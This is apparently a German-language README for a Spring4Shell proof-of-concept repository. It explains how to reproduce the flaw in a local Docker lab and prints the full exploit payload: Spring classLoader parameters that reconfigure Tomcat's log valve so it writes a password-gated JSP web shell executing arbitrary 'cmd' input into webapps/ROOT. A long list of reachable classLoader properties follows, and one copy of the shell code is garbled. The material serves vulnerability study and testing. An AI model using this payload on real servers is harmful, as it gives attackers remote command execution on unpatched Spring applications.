Spring4Shell-POC
Lokale Reproduktion der Spring4Shell-Schwachstelle
Umgebungsvorbereitung
-
Umgebung: Docker, Docker-Compose
-
mvn packen, erzeugt ``./target/ROOT.war`````shell
mvn package
* Dienst starten```shell
docker-compose up -d
- Dienst beenden```shell
docker-compose down
## Reproduktionsprozess
* Skript ausführen```shell
python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080"
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
➜ spring4shell-poc
* Im Docker-Container ist zu sehen, dass im Tomcat-Anwendungsservice eine JSP-Datei erstellt wurde.
* Auf das Web kann auch direkt zugegriffen werden
## Hinweise
* Die Daten von `data` in `spring-4-shell-exp.py````text
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
if ("j".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in .read(b)) != -1) {
out.println(new String(b));
}
}
%{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
- Tomcat-Konfigurationsparameter ausgeben
Über die src/main/webapps/print.jsp Datei können die Tomcat-Konfigurationseigenschaften zur Laufzeit ausgegeben werden.```text
class.classLoader.delegate
class.classLoader.clearReferencesRmiTargets
class.classLoader.clearReferencesStopThreads
class.classLoader.clearReferencesStopTimerThreads
class.classLoader.clearReferencesHttpClientKeepAliveThread
class.classLoader.clearReferencesObjectStreamClassCaches
class.classLoader.clearReferencesThreadLocals
class.classLoader.skipMemoryLeakChecksOnJvmShutdown
class.classLoader.clearReferencesLogFactoryRelease
class.classLoader.defaultAssertionStatus
class.classLoader.resources.allowLinking
class.classLoader.resources.cachingAllowed
class.classLoader.resources.cacheObjectMaxSize
class.classLoader.resources.trackLockedFiles
class.classLoader.resources.domain
class.classLoader.resources.throwOnFailure
class.classLoader.resources.context.delegate
class.classLoader.resources.context.server
class.classLoader.resources.context.useNaming
class.classLoader.resources.context.createUploadTargets
class.classLoader.resources.context.allowMultipleLeadingForwardSlashInPath
class.classLoader.resources.context.requestCharacterEncoding
class.classLoader.resources.context.responseCharacterEncoding
class.classLoader.resources.context.dispatchersUseEncodedPaths
class.classLoader.resources.context.useRelativeRedirects
class.classLoader.resources.context.mapperContextRootRedirectEnabled
class.classLoader.resources.context.mapperDirectoryRedirectEnabled
class.classLoader.resources.context.validateClientProvidedNewSessionId
class.classLoader.resources.context.containerSciFilter
class.classLoader.resources.context.sendRedirectBody
class.classLoader.resources.context.preemptiveAuthentication
class.classLoader.resources.context.fireRequestListenersOnForwards
class.classLoader.resources.context.addWebinfClassesResources
class.classLoader.resources.context.webappVersion
class.classLoader.resources.context.resourceOnlyServlets
class.classLoader.resources.context.effectiveMajorVersion
class.classLoader.resources.context.effectiveMinorVersion
class.classLoader.resources.context.logEffectiveWebXml
class.classLoader.resources.context.allowCasualMultipartParsing
class.classLoader.resources.context.swallowAbortedUploads
class.classLoader.resources.context.publicId
class.classLoader.resources.context.antiResourceLocking
class.classLoader.resources.context.useBloomFilterForArchives
class.classLoader.resources.context.parallelAnnotationScanning
class.classLoader.resources.context.configured
class.classLoader.resources.context.cookies
class.classLoader.resources.context.sessionCookieName
class.classLoader.resources.context.useHttpOnly
class.classLoader.resources.context.sessionCookieDomain
class.classLoader.resources.context.sessionCookiePath
class.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
class.classLoader.resources.context.crossContext
class.classLoader.resources.context.defaultContextXml
class.classLoader.resources.context.defaultWebXml
class.classLoader.resources.context.denyUncoveredHttpMethods
class.classLoader.resources.context.altDDName
class.classLoader.resources.context.displayName
class.classLoader.resources.context.distributable
class.classLoader.resources.context.docBase
class.classLoader.resources.context.j2EEApplication
class.classLoader.resources.context.j2EEServer
class.classLoader.resources.context.ignoreAnnotations
class.classLoader.resources.context.path
class.classLoader.resources.context.originalDocBase
class.classLoader.resources.context.privileged
class.classLoader.resources.context.reloadable
class.classLoader.resources.context.override
class.classLoader.resources.context.replaceWelcomeFiles
class.classLoader.resources.context.sessionTimeout
class.classLoader.resources.context.swallowOutput
class.classLoader.resources.context.unpackWAR
class.classLoader.resources.context.copyXML
class.classLoader.resources.context.wrapperClass
class.classLoader.resources.context.jndiExceptionOnFailedWrite
class.classLoader.resources.context.charsetMapperClass
class.classLoader.resources.context.workDir
class.classLoader.resources.context.clearReferencesRmiTargets
class.classLoader.resources.context.clearReferencesStopThreads
class.classLoader.resources.context.clearReferencesStopTimerThreads
class.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
class.classLoader.resources.context.renewThreadsWhenStoppingContext
class.classLoader.resources.context.clearReferencesObjectStreamClassCaches
class.classLoader.resources.context.clearReferencesThreadLocals
class.classLoader.resources.context.skipMemoryLeakChecksOnJvmShutdown
class.classLoader.resources.context.xmlNamespaceAware
class.classLoader.resources.context.xmlValidation
class.classLoader.resources.context.xmlBlockExternal
class.classLoader.resources.context.tldValidation
class.classLoader.resources.context.name
class.classLoader.resources.context.startChildren
class.classLoader.resources.context.backgroundProcessorDelay
class.classLoader.resources.context.startStopThreads
class.classLoader.resources.context.domain
weijilab/spring4shell-poc
